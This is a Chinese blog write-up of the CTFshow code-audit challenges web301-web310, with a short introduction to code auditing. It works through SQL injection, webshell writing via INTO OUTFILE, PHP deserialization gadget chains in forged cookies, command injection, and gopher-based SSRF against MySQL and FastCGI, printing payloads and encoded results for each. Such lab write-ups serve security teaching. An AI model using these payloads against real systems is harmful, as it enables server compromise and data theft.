> 技术文档 > CTFSHOW | 代码审计 web301 - web310_ctfshow web本地部署

CTFSHOW | 代码审计 web301 - web310_ctfshow web本地部署


文章目录

    • 什么是代码审计
    • 代码审计一般思路
    • 题目列表
      • web301
      • web302
      • web303
      • web304
      • web305
      • web306
      • web307
      • web308
      • web309
      • web310
    • 参考

什么是代码审计

代码审计(Code Audit),也称为白盒测试(White-Box Testing),是一种安全评估方法。与黑盒测试相反,审计人员在拥有应用程序完整源代码的情况下,对程序的逻辑、结构和代码实现进行深入的分析和审查

代码审计一般思路

进行代码审计时,通常会结合自动化工具和人工审查,遵循一个由宏观到微观的系统性流程

1. 准备阶段 (Preparation)

这是审计的起点,目的是为后续的深入分析做好准备

  • 理解业务逻辑:首先要通读文档或大致浏览代码,理解这个程序是做什么的、核心功能有哪些
  • 熟悉技术栈和框架:确定项目使用的编程语言(如PHP、Java、Python)、框架(如ThinkPHP、Spring、Django)和关键组件,了解特定框架的已知漏洞和安全特性
  • 部署运行环境:如果条件允许,在本地搭建一个可以运行和调试的测试环境。可以动态地跟踪数据流,验证漏洞,极大地提高审计效率

2. 自动化扫描与手动分析 (Scanning & Manual Review)

这个阶段是审计的核心,通常会从寻找高风险的“入口点”和“危险函数”开始

  • 寻找数据入口(“入”):首先要定位用户能够控制数据输入的地方,这些是漏洞最有可能产生的地方
    • 全局变量:如PHP中的 $_GET$_POST$_COOKIE$_REQUEST$_SERVER 等,它们是外部数据进入程序的主要通道
    • 文件操作:关注文件上传、文件读取/写入等功能点
    • 数据库交互:所有与数据库进行增、删、改、查操作的地方
  • 跟踪数据流(“流”):从找到的入口点开始,跟踪这些外部数据在代码中的传递路径。观察数据在传递过程中是否经过了充分的过滤、净化或编码。这是判断是否存在漏洞的关键
  • 定位危险函数(“出”):审计的另一个核心是寻找那些能直接导致漏洞的“危险函数”或“敏感操作”,然后逆向回溯,看它们的参数是否能被用户的输入所控制
    • SQL注入:关注所有执行SQL查询的函数,如 query(), execute() 等,看传入的SQL语句是否由外部输入拼接而成
    • 命令执行:关注 system(), exec(), shell_exec(), passthru() 等能执行系统命令的函数
    • 文件包含/读取:关注 include(), require(), file_get_contents(), readfile() 等函数
    • 反序列化:关注 unserialize() 函数,检查其参数来源

3. 漏洞验证与利用链构造 (Verification & Exploitation)

在发现疑似漏洞后,需要进行验证

  • 编写验证代码 (PoC):根据代码逻辑,构造特定的输入数据(Payload)来触发漏洞,验证其是否存在以及是否可被利用
  • 构造利用链 (Exploit Chain):在复杂的场景中,单个漏洞可能无法造成严重危害,此时需要将多个漏洞点(如文件上传 + 文件包含)组合起来,形成一个完整的攻击链,以达到最终目的(如获取服务器权限)

题目列表

web301

首先下载附件进行分析,可以先看看目录结构

CTFSHOW | 代码审计 web301 - web310_ctfshow web本地部署

其中admin目录为前端页面目录,不需要分析,因此我们把重点放在assets目录里面

把文件大概看了一下,发现checklogin.php有未过滤的SQL语句,存在SQL注入漏洞

CTFSHOW | 代码审计 web301 - web310_ctfshow web本地部署

打开题目环境,可以看到一个登录框

CTFSHOW | 代码审计 web301 - web310_ctfshow web本地部署

有多种方法可以做这道题,咱们一个个分析

方法一:联合注入

分析当前代码,可以看到第17行有个判断语句

CTFSHOW | 代码审计 web301 - web310_ctfshow web本地部署

其中,strcasecmp是PHP的字符串比较函数,用于比较两个字符串,如果两个字符串相等,则返回0,因此我们通过联合注入查询输出一个值,例如一个包含单个字面量 1 的结果集,程序把1当成了账号在数据库中查询到的密码,因此我们在密码处也输入相同的数字,即可通过验证

账号:-1\' union select 1#密码:1

登录后在首页可以看到flag

CTFSHOW | 代码审计 web301 - web310_ctfshow web本地部署

方法二:SQL注入写shell

可以通过SQL注入漏洞写入shell,然后直接执行命令读取flag

账号:-1\' union select \"\" into outfile \"/var/www/html/1.php\"#密码:1

执行完之后访问1.php,可以看到成功写入

CTFSHOW | 代码审计 web301 - web310_ctfshow web本地部署

用HackBar执行命令即可,成功读取flag

CTFSHOW | 代码审计 web301 - web310_ctfshow web本地部署

web302

这题也是沿用之前的附件,方法跟之前一样

方法一:联合注入

这题把上题checklogin.php的第17行改成了

if(!strcasecmp(sds_decode($userpwd),$row[\'sds_password\'])){

意思就是只要sds_decode($userpwd)$row[\'sds_password\']相等即可通过验证,我们可以先随便输入一个值到$userpwd,然后让其编码之后得到编码值,再让$row[\'sds_password\']通过联合注入输出这个编码值,程序把这个编码值当成了账号在数据库中查询到的密码,最后我们在密码处填入原本的值,经过后台编码后即可通过验证,具体可以看以下操作

我们在目录中寻找sds_decode()函数,发现其位于fun.php

CTFSHOW | 代码审计 web301 - web310_ctfshow web本地部署

修改一下代码,参数输入1,然后运行

<?phpfunction sds_decode($str){return md5(md5($str.md5(base64_encode(\"sds\"))).\"sds\");}$a = sds_decode(\"1\");echo $a;?>

得到编码结果为

d9c77c4e454869d5d8da3b4be79694d3

然后我们打开登录框,输入账号密码

账号:-1\' union select \'d9c77c4e454869d5d8da3b4be79694d3\'#密码:1

解释一下,输入的1经过sds_decode()函数之后,变成了d9c77c4e454869d5d8da3b4be79694d3,然后我们通过联合注入输出d9c77c4e454869d5d8da3b4be79694d3,程序把这个编码值当成了账号在数据库中查询到的密码,因为我们在登录框密码处输入1,这个密码经过编码后跟我们这个编码值一致,因此就成功通过验证

CTFSHOW | 代码审计 web301 - web310_ctfshow web本地部署

登录之后在首页得到flag

CTFSHOW | 代码审计 web301 - web310_ctfshow web本地部署

方法二:SQL注入写shell

跟之前一样,可以通过SQL注入漏洞写入shell,然后直接执行命令读取flag

账号:-1\' union select \"\" into outfile \"/var/www/html/1.php\"#密码:1

CTFSHOW | 代码审计 web301 - web310_ctfshow web本地部署

web303

下载附件进行分析,先看看目录结构

CTFSHOW | 代码审计 web301 - web310_ctfshow web本地部署

checklogin.php这次多了个限制,username长度不能大于6,因此之前的方法用不了

CTFSHOW | 代码审计 web301 - web310_ctfshow web本地部署

但是登录的检测机制依然不变

if(!strcasecmp(sds_decode($userpwd),$row[\'sds_password\'])){

继续分析项目文件,发现sds_user.sql里面存在用户信息

CTFSHOW | 代码审计 web301 - web310_ctfshow web本地部署

用户名是admin,密码是个加密后的值,打开fun.php,可以看到这次贴心给了提示

CTFSHOW | 代码审计 web301 - web310_ctfshow web本地部署

直接运行代码,得到值为27151b7b1ad51a38ea66b1529cde5ee4,跟上面sql文件里的一样,因此密码就是admin

打开网站登录,账号密码都是admin,进去之后点了一番,发现只有网点一览能点进去

CTFSHOW | 代码审计 web301 - web310_ctfshow web本地部署

进去之后发现是dpt.php页面

CTFSHOW | 代码审计 web301 - web310_ctfshow web本地部署

咱们继续回去分析项目文件,发现dpt.phpdptadd.php都存在注入点,且官方也标了注释

dpt.php

CTFSHOW | 代码审计 web301 - web310_ctfshow web本地部署

$sql=\"select * from sds_dpt order by id;\";

dptadd.php

CTFSHOW | 代码审计 web301 - web310_ctfshow web本地部署

$sql=\"insert into sds_dpt set sds_name=\'\".$dpt_name.\"\',sds_address =\'\".$dpt_address.\"\',sds_build_date=\'\".$dpt_build_year.\"\',sds_have_safe_card=\'\".$dpt_has_cert.\"\',sds_safe_card_num=\'\".$dpt_cert_number.\"\',sds_telephone=\'\".$dpt_telephone_number.\"\';\";

可惜的是,dpt.phpid并没有办法控制,因此只能从dptadd.php下手,URL拼接路径/dptadd.php,然后通过POST的方式传入参数值,执行SQL注入

CTFSHOW | 代码审计 web301 - web310_ctfshow web本地部署

查表

dpt_name=1\',sds_address=(select group_concat(table_name) from information_schema.tables where table_schema=database())#
结果为:sds_dpt,sds_fl9g,sds_user

查字段

dpt_name=1\',sds_address=(select group_concat(column_name) from information_schema.columns where table_name=\'sds_fl9g\')#
结果为:flag

查字段值

dpt_name=1\',sds_address=(select flag from sds_fl9g)#

成功得到flag

CTFSHOW | 代码审计 web301 - web310_ctfshow web本地部署

web304

这题的代码跟上一题相同,不过多了一个全局WAF检测

function sds_waf($str){return preg_match(\'/[0-9]|[a-z]|-/i\', $str);}

但是这个WAF逻辑有问题,只要有任意一个字符匹配成功就会返回1,因此并没有什么用

也是先登录网站,账号和密码都是admin

CTFSHOW | 代码审计 web301 - web310_ctfshow web本地部署

步骤跟上题一样,只不过表名从sds_fl9g改成了sds_flaag

查表

dpt_name=1\',sds_address=(select group_concat(table_name) from information_schema.tables where table_schema=database())#
结果为:sds_dpt,sds_flaag,sds_user

查字段

dpt_name=1\',sds_address=(select group_concat(column_name) from information_schema.columns where table_name=\'sds_flaag\')#
结果为:flag

查字段值

dpt_name=1\',sds_address=(select flag from sds_flaag)#

成功得到flag

CTFSHOW | 代码审计 web301 - web310_ctfshow web本地部署

web305

下载附件分析代码,发现fun.php有个sds_waf()函数,过滤很严格,且应用到了dptadd.php,因此之前的SQL注入行不通

CTFSHOW | 代码审计 web301 - web310_ctfshow web本地部署

同时发现这题的checklogin.php相比web303多了个Cookie反序列化

CTFSHOW | 代码审计 web301 - web310_ctfshow web本地部署

分析这个class.php,可以看到有文件写入操作

CTFSHOW | 代码审计 web301 - web310_ctfshow web本地部署

因此这题的思路就是伪造Cookie,然后执行反序列化漏洞写入webshell

payload:

<?phpclass user{public $username;public $password;public function __construct($u,$p){$this->username=$u;$this->password=$p;}}var_dump(urlencode(serialize(new user(\'1.php\',\'\'))));

运行结果:

O%3A4%3A%22user%22%3A2%3A%7Bs%3A8%3A%22username%22%3Bs%3A5%3A%221.php%22%3Bs%3A8%3A%22password%22%3Bs%3A24%3A%22%3C%3Fphp+eval%28%24_POST%5B1%5D%29%3B%3F%3E%22%3B%7D

把这个序列化结果写入Cookie,路径为/checklogin.php

payload:

Cookie: user=O%3A4%3A%22user%22%3A2%3A%7Bs%3A8%3A%22username%22%3Bs%3A5%3A%221.php%22%3Bs%3A8%3A%22password%22%3Bs%3A24%3A%22%3C%3Fphp+eval%28%24_POST%5B1%5D%29%3B%3F%3E%22%3B%7D

CTFSHOW | 代码审计 web301 - web310_ctfshow web本地部署

蚁剑连接webshell,注意要把https改成http

CTFSHOW | 代码审计 web301 - web310_ctfshow web本地部署

在目录找了一番,没找到flag,猜测flag是在数据库里面,用蚁剑连接数据库

CTFSHOW | 代码审计 web301 - web310_ctfshow web本地部署

点击添加配置,然后数据库类型选MYSQLI,MYSQLI是MYSQL的升级版,支持更多新特性和更高安全性,官方推荐使用,MYSQL扩展现已废弃

CTFSHOW | 代码审计 web301 - web310_ctfshow web本地部署

密码在conn.php,但是不知道为什么连不上,后来去网上搜了一下,发现蚁剑那里查看的密码是root,跟题目给的附件不一样

这是附件里面的conn.php

CTFSHOW | 代码审计 web301 - web310_ctfshow web本地部署

这是蚁剑里面的conn.php

CTFSHOW | 代码审计 web301 - web310_ctfshow web本地部署

然后在添加配置那里输入账号密码即可

CTFSHOW | 代码审计 web301 - web310_ctfshow web本地部署

成功找到flag

CTFSHOW | 代码审计 web301 - web310_ctfshow web本地部署

web306

下载附件分析代码,发现class.php有个文件写入操作

CTFSHOW | 代码审计 web301 - web310_ctfshow web本地部署

继续分析,在index.php发现反序列化代码

CTFSHOW | 代码审计 web301 - web310_ctfshow web本地部署

因此我们可以构造一个利用链执行反序列化操作,在dao.php中发现可利用的类

CTFSHOW | 代码审计 web301 - web310_ctfshow web本地部署

最终利用链为

[index.php] unserialize -> [dao.php] dao::__destruct() -> [class.php] log::close()

payload:

<?phpclass dao{private $conn;public function __construct(){$this->conn=new log();}}class log{public $title=\'1.php\';public $info=\'\';}$a = new dao();echo base64_encode(serialize($a));

运行结果:

TzozOiJkYW8iOjE6e3M6OToiAGRhbwBjb25uIjtPOjM6ImxvZyI6Mjp7czo1OiJ0aXRsZSI7czo1OiIxLnBocCI7czo0OiJpbmZvIjtzOjI0OiI8P3BocCBldmFsKCRfUE9TVFsxXSk7Pz4iO319

把结果写入Cookie即可,路径是/index.php

CTFSHOW | 代码审计 web301 - web310_ctfshow web本地部署

然后蚁剑连接webshell,成功找到flag

CTFSHOW | 代码审计 web301 - web310_ctfshow web本地部署

web307

下载附件分析代码,发现class.php有个文件写入操作

CTFSHOW | 代码审计 web301 - web310_ctfshow web本地部署

但是找了一番并没有发现调用closelog()的地方,因此这个方法行不通

继续分析代码,发现dao.php有个命令执行函数

CTFSHOW | 代码审计 web301 - web310_ctfshow web本地部署

logout.php发现反序列化代码,且调用了clearCache()函数

CTFSHOW | 代码审计 web301 - web310_ctfshow web本地部署

虽然logout.php并没有直接包含dao.php,但是包含了service.php,而service.php包含了dao.php,因此可以直接通过dao类调用clearCache()函数

然后控制变量$cache_dir来截断原来的rm命令并执行新的命令,写入webshell到php文件

CTFSHOW | 代码审计 web301 - web310_ctfshow web本地部署

利用链:

[/controller/logout.php] unserialize -> [/controller/service/dao/dao.php] dao::clearCache()

payload:

<?phpclass config{public $cache_dir = \'1; echo \"\" > 1.php;\';//\"$\"前加\"\\\"是为了防止被解析}class dao{private $config;public function __construct(){$this->config=new config();}}$a = new dao();echo base64_encode(serialize($a));

运行结果:

TzozOiJkYW8iOjE6e3M6MTE6IgBkYW8AY29uZmlnIjtPOjY6ImNvbmZpZyI6MTp7czo5OiJjYWNoZV9kaXIiO3M6NDQ6IjE7IGVjaG8gIjw/cGhwIGV2YWwoXCRfUE9TVFsxXSk7Pz4iID4gMS5waHA7Ijt9fQ==

把结果写入Cookie即可,路径是/controller/logout.php,参数是service

CTFSHOW | 代码审计 web301 - web310_ctfshow web本地部署

然后蚁剑连接webshell,flag在/var/www/html目录

CTFSHOW | 代码审计 web301 - web310_ctfshow web本地部署

web308

下载附件分析代码,发现dao.phpclearCache()函数加了过滤,只能匹配纯英文字符,因此上题的方法在这里行不通

CTFSHOW | 代码审计 web301 - web310_ctfshow web本地部署

继续分析代码,发现index.php有反序列化代码,且调用了一个函数checkVersion()

CTFSHOW | 代码审计 web301 - web310_ctfshow web本地部署

查找checkVersion()函数的定义,在dao.php里面

CTFSHOW | 代码审计 web301 - web310_ctfshow web本地部署

继续分析update_url,在config.php里面可以看到$update_url的定义,是个地址链接

CTFSHOW | 代码审计 web301 - web310_ctfshow web本地部署

接着再分析checkUpdate()函数的定义

CTFSHOW | 代码审计 web301 - web310_ctfshow web本地部署

checkUpdate()函数通过cURL发起HTTP请求,因此突破口就是这里,我们可以通过这个打SSRF漏洞

利用链:

[index.php] unserialize -> [/controller/service/dao/dao.php] dao::checkVersion()

看了一下,发现config.php里面并没有设置mysql密码

CTFSHOW | 代码审计 web301 - web310_ctfshow web本地部署

因此我们用Gopher协议打无密码的mysql,工具是Gopherus,下载地址:https://github.com/tarunkant/Gopherus

python2 gopherus.py --exploit mysql

输入以下内容

数据库用户名:root

待执行命令:select \"\" into outfile \"/var/www/html/1.php\";

CTFSHOW | 代码审计 web301 - web310_ctfshow web本地部署

得到结果:

gopher://127.0.0.1:3306/_%a3%00%00%01%85%a6%ff%01%00%00%00%01%21%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%72%6f%6f%74%00%00%6d%79%73%71%6c%5f%6e%61%74%69%76%65%5f%70%61%73%73%77%6f%72%64%00%66%03%5f%6f%73%05%4c%69%6e%75%78%0c%5f%63%6c%69%65%6e%74%5f%6e%61%6d%65%08%6c%69%62%6d%79%73%71%6c%04%5f%70%69%64%05%32%37%32%35%35%0f%5f%63%6c%69%65%6e%74%5f%76%65%72%73%69%6f%6e%06%35%2e%37%2e%32%32%09%5f%70%6c%61%74%66%6f%72%6d%06%78%38%36%5f%36%34%0c%70%72%6f%67%72%61%6d%5f%6e%61%6d%65%05%6d%79%73%71%6c%46%00%00%00%03%73%65%6c%65%63%74%20%22%3c%3f%70%68%70%20%65%76%61%6c%28%24%5f%50%4f%53%54%5b%31%5d%29%3b%3f%3e%22%20%69%6e%74%6f%20%6f%75%74%66%69%6c%65%20%22%2f%76%61%72%2f%77%77%77%2f%68%74%6d%6c%2f%31%2e%70%68%70%22%3b%01%00%00%00%01

如果是直接传参就需要进行URL编码,但是这里是反序列化,解析payload时已经在服务端,因此不需要二次编码

payload:

<?phpclass dao{private $config;public function __construct(){$this->config=new config(); }}class config{ public $update_url = \'gopher://127.0.0.1:3306/_%a3%00%00%01%85%a6%ff%01%00%00%00%01%21%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%72%6f%6f%74%00%00%6d%79%73%71%6c%5f%6e%61%74%69%76%65%5f%70%61%73%73%77%6f%72%64%00%66%03%5f%6f%73%05%4c%69%6e%75%78%0c%5f%63%6c%69%65%6e%74%5f%6e%61%6d%65%08%6c%69%62%6d%79%73%71%6c%04%5f%70%69%64%05%32%37%32%35%35%0f%5f%63%6c%69%65%6e%74%5f%76%65%72%73%69%6f%6e%06%35%2e%37%2e%32%32%09%5f%70%6c%61%74%66%6f%72%6d%06%78%38%36%5f%36%34%0c%70%72%6f%67%72%61%6d%5f%6e%61%6d%65%05%6d%79%73%71%6c%46%00%00%00%03%73%65%6c%65%63%74%20%22%3c%3f%70%68%70%20%65%76%61%6c%28%24%5f%50%4f%53%54%5b%31%5d%29%3b%3f%3e%22%20%69%6e%74%6f%20%6f%75%74%66%69%6c%65%20%22%2f%76%61%72%2f%77%77%77%2f%68%74%6d%6c%2f%31%2e%70%68%70%22%3b%01%00%00%00%01;\';}$a= new dao();echo base64_encode(serialize($a));

运行结果:

TzozOiJkYW8iOjE6e3M6MTE6IgBkYW8AY29uZmlnIjtPOjY6ImNvbmZpZyI6MTp7czoxMDoidXBkYXRlX3VybCI7czo3NjQ6ImdvcGhlcjovLzEyNy4wLjAuMTozMzA2L18lYTMlMDAlMDAlMDElODUlYTYlZmYlMDElMDAlMDAlMDAlMDElMjElMDAlMDAlMDAlMDAlMDAlMDAlMDAlMDAlMDAlMDAlMDAlMDAlMDAlMDAlMDAlMDAlMDAlMDAlMDAlMDAlMDAlMDAlMDAlNzIlNmYlNmYlNzQlMDAlMDAlNmQlNzklNzMlNzElNmMlNWYlNmUlNjElNzQlNjklNzYlNjUlNWYlNzAlNjElNzMlNzMlNzclNmYlNzIlNjQlMDAlNjYlMDMlNWYlNmYlNzMlMDUlNGMlNjklNmUlNzUlNzglMGMlNWYlNjMlNmMlNjklNjUlNmUlNzQlNWYlNmUlNjElNmQlNjUlMDglNmMlNjklNjIlNmQlNzklNzMlNzElNmMlMDQlNWYlNzAlNjklNjQlMDUlMzIlMzclMzIlMzUlMzUlMGYlNWYlNjMlNmMlNjklNjUlNmUlNzQlNWYlNzYlNjUlNzIlNzMlNjklNmYlNmUlMDYlMzUlMmUlMzclMmUlMzIlMzIlMDklNWYlNzAlNmMlNjElNzQlNjYlNmYlNzIlNmQlMDYlNzglMzglMzYlNWYlMzYlMzQlMGMlNzAlNzIlNmYlNjclNzIlNjElNmQlNWYlNmUlNjElNmQlNjUlMDUlNmQlNzklNzMlNzElNmMlNDYlMDAlMDAlMDAlMDMlNzMlNjUlNmMlNjUlNjMlNzQlMjAlMjIlM2MlM2YlNzAlNjglNzAlMjAlNjUlNzYlNjElNmMlMjglMjQlNWYlNTAlNGYlNTMlNTQlNWIlMzElNWQlMjklM2IlM2YlM2UlMjIlMjAlNjklNmUlNzQlNmYlMjAlNmYlNzUlNzQlNjYlNjklNmMlNjUlMjAlMjIlMmYlNzYlNjElNzIlMmYlNzclNzclNzclMmYlNjglNzQlNmQlNmMlMmYlMzElMmUlNzAlNjglNzAlMjIlM2IlMDElMDAlMDAlMDAlMDE7Ijt9fQ==

把结果写入Cookie即可,路径是/index.php,参数是service

CTFSHOW | 代码审计 web301 - web310_ctfshow web本地部署

最后蚁剑连接webshell即可

CTFSHOW | 代码审计 web301 - web310_ctfshow web本地部署

web309

题目提示mysql有密码了,因此上题打无密码msql的方法在这里用不了

附件还是和上题一样,这次可以用Gopher扫描端口试试

<?phpclass dao{ private $config; public function __construct(){ $this->config=new config(); }}class config{ public $update_url = \'gopher://127.0.0.1:端口\';}$a= new dao();echo base64_encode(serialize($a));

常见危险端口:

21 FTP22 SSH80 HTTP443 HTTPS3389 RDP1433 MS-SQL Server3306 MySQL6379 Redis9000 PHP-FPM / FastCGI

用Gopher请求端口时,如果端口有服务在监听,则会接受连接并等待我们传输数据,此时连接会“卡住”一段时间;如果端口没有服务,则会立刻拒绝连接。通过是否出现等待,就能判断端口是否开放

方法跟之前一样,也是把结果写入Cookie,路径是/index.php,参数是service

CTFSHOW | 代码审计 web301 - web310_ctfshow web本地部署

扫描到9000的时候未响应,说明9000端口开放

CTFSHOW | 代码审计 web301 - web310_ctfshow web本地部署

可以用Gopher协议打FastCGI,工具也是Gopherus

python2 gopherus.py --exploit fastcgi

输入以下内容

已知文件绝对路径:/var/www/html/index.php

待执行命令:echo \"\" > 1.php

CTFSHOW | 代码审计 web301 - web310_ctfshow web本地部署

得到结果:

gopher://127.0.0.1:9000/_%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%01%04%04%00%0F%10SERVER_SOFTWAREgo%20/%20fcgiclient%20%0B%09REMOTE_ADDR127.0.0.1%0F%08SERVER_PROTOCOLHTTP/1.1%0E%02CONTENT_LENGTH92%0E%04REQUEST_METHODPOST%09KPHP_VALUEallow_url_include%20%3D%20On%0Adisable_functions%20%3D%20%0Aauto_prepend_file%20%3D%20php%3A//input%0F%17SCRIPT_FILENAME/var/www/html/index.php%0D%01DOCUMENT_ROOT/%00%00%00%00%01%04%00%01%00%00%00%00%01%05%00%01%00%5C%04%00%3C%3Fphp%20system%28%27echo%20%22%3C%3Fphp%20eval%28%5C%24_POST%5B1%5D%29%3B%3F%3E%22%20%3E%201.php%27%29%3Bdie%28%27-----Made-by-SpyD3r-----%0A%27%29%3B%3F%3E%00%00%00%00

payload:

<?phpclass dao{ private $config; public function __construct(){ $this->config=new config(); }}class config{ public $update_url = \'gopher://127.0.0.1:9000/_%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%01%04%04%00%0F%10SERVER_SOFTWAREgo%20/%20fcgiclient%20%0B%09REMOTE_ADDR127.0.0.1%0F%08SERVER_PROTOCOLHTTP/1.1%0E%02CONTENT_LENGTH92%0E%04REQUEST_METHODPOST%09KPHP_VALUEallow_url_include%20%3D%20On%0Adisable_functions%20%3D%20%0Aauto_prepend_file%20%3D%20php%3A//input%0F%17SCRIPT_FILENAME/var/www/html/index.php%0D%01DOCUMENT_ROOT/%00%00%00%00%01%04%00%01%00%00%00%00%01%05%00%01%00%5C%04%00%3C%3Fphp%20system%28%27echo%20%22%3C%3Fphp%20eval%28%5C%24_POST%5B1%5D%29%3B%3F%3E%22%20%3E%201.php%27%29%3Bdie%28%27-----Made-by-SpyD3r-----%0A%27%29%3B%3F%3E%00%00%00%00\';}$a= new dao();echo base64_encode(serialize($a));

运行结果:

TzozOiJkYW8iOjE6e3M6MTE6IgBkYW8AY29uZmlnIjtPOjY6ImNvbmZpZyI6MTp7czoxMDoidXBkYXRlX3VybCI7czo2NDk6ImdvcGhlcjovLzEyNy4wLjAuMTo5MDAwL18lMDElMDElMDAlMDElMDAlMDglMDAlMDAlMDAlMDElMDAlMDAlMDAlMDAlMDAlMDAlMDElMDQlMDAlMDElMDElMDQlMDQlMDAlMEYlMTBTRVJWRVJfU09GVFdBUkVnbyUyMC8lMjBmY2dpY2xpZW50JTIwJTBCJTA5UkVNT1RFX0FERFIxMjcuMC4wLjElMEYlMDhTRVJWRVJfUFJPVE9DT0xIVFRQLzEuMSUwRSUwMkNPTlRFTlRfTEVOR1RIOTIlMEUlMDRSRVFVRVNUX01FVEhPRFBPU1QlMDlLUEhQX1ZBTFVFYWxsb3dfdXJsX2luY2x1ZGUlMjAlM0QlMjBPbiUwQWRpc2FibGVfZnVuY3Rpb25zJTIwJTNEJTIwJTBBYXV0b19wcmVwZW5kX2ZpbGUlMjAlM0QlMjBwaHAlM0EvL2lucHV0JTBGJTE3U0NSSVBUX0ZJTEVOQU1FL3Zhci93d3cvaHRtbC9pbmRleC5waHAlMEQlMDFET0NVTUVOVF9ST09ULyUwMCUwMCUwMCUwMCUwMSUwNCUwMCUwMSUwMCUwMCUwMCUwMCUwMSUwNSUwMCUwMSUwMCU1QyUwNCUwMCUzQyUzRnBocCUyMHN5c3RlbSUyOCUyN2VjaG8lMjAlMjIlM0MlM0ZwaHAlMjBldmFsJTI4JTVDJTI0X1BPU1QlNUIxJTVEJTI5JTNCJTNGJTNFJTIyJTIwJTNFJTIwMS5waHAlMjclMjklM0JkaWUlMjglMjctLS0tLU1hZGUtYnktU3B5RDNyLS0tLS0lMEElMjclMjklM0IlM0YlM0UlMDAlMDAlMDAlMDAiO319

把结果写入Cookie即可,路径是/index.php,参数是service

CTFSHOW | 代码审计 web301 - web310_ctfshow web本地部署

然后蚁剑连接即可

CTFSHOW | 代码审计 web301 - web310_ctfshow web本地部署

web310

附件还是跟web308一样

方法和上题相同,也是用Gopher协议打FastCGI

把结果写入Cookie,路径是/index.php,参数是service

CTFSHOW | 代码审计 web301 - web310_ctfshow web本地部署

连接蚁剑webshell,但是这次flag不在/var/www/html

CTFSHOW | 代码审计 web301 - web310_ctfshow web本地部署

找了一下,发现flag在/var/flag目录

CTFSHOW | 代码审计 web301 - web310_ctfshow web本地部署

参考

Jay 17:https://blog.csdn.net/Jayjay___/article/details/133146315